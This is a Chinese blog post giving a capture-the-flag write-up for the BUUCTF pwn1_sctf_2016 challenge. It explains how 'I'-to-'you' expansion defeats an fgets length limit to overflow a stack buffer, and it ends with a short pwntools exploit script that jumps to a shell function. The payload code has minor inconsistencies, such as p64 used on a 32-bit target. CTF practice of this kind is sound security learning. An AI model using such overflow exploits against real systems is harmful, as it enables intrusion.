BUUCTF pwn1_sctf_2016

执行一下
在这里插入图片描述
似乎出现第一个i被替换成you
检查一下保护机制
在这里插入图片描述
丢到ida里面
在这里插入图片描述

输入的变量s大小为0x3c,但是我们看fgets里面,我们只能输入32个字符,没法进行溢出,
我们在输入的时候,会发现i会被替换成you,所以我们可以利用20个i来填充,

找到shell,地址为0x8048F0D
在这里插入图片描述
在这里插入图片描述

返回地址再随便填四个字符

我们可以构造一下payload
payload = ‘I’*20 + p64(0x8048F0D)
这里特别注意一下
payload可以有多种写法
‘I’ *19 + ‘A’*7 + p64(0x8048F0D)
‘I’ *21 + ‘A’ + p64(0x8048F0D)
但是
‘I’ *18 + ‘A’*10 + p64(0x8048F0D)就不行了,因为这样加起来会超过fgets限制的32,后边的地址没法传进去。
exp

from pwn import * p = process('./pwn1_sctf_2016') payload = 'I'*20 +'A'*4+ p64(0x8048F0D) p.send(payload) p.interactive()

__EOF__

本文作者续梦人
本文链接https://www.cnblogs.com/cwcr/p/16119854.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
posted @   续梦人  阅读(70)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 使用C#创建一个MCP客户端
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· ollama系列1:轻松3步本地部署deepseek,普通电脑可用
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· 按钮权限的设计及实现
点击右上角即可分享
微信分享提示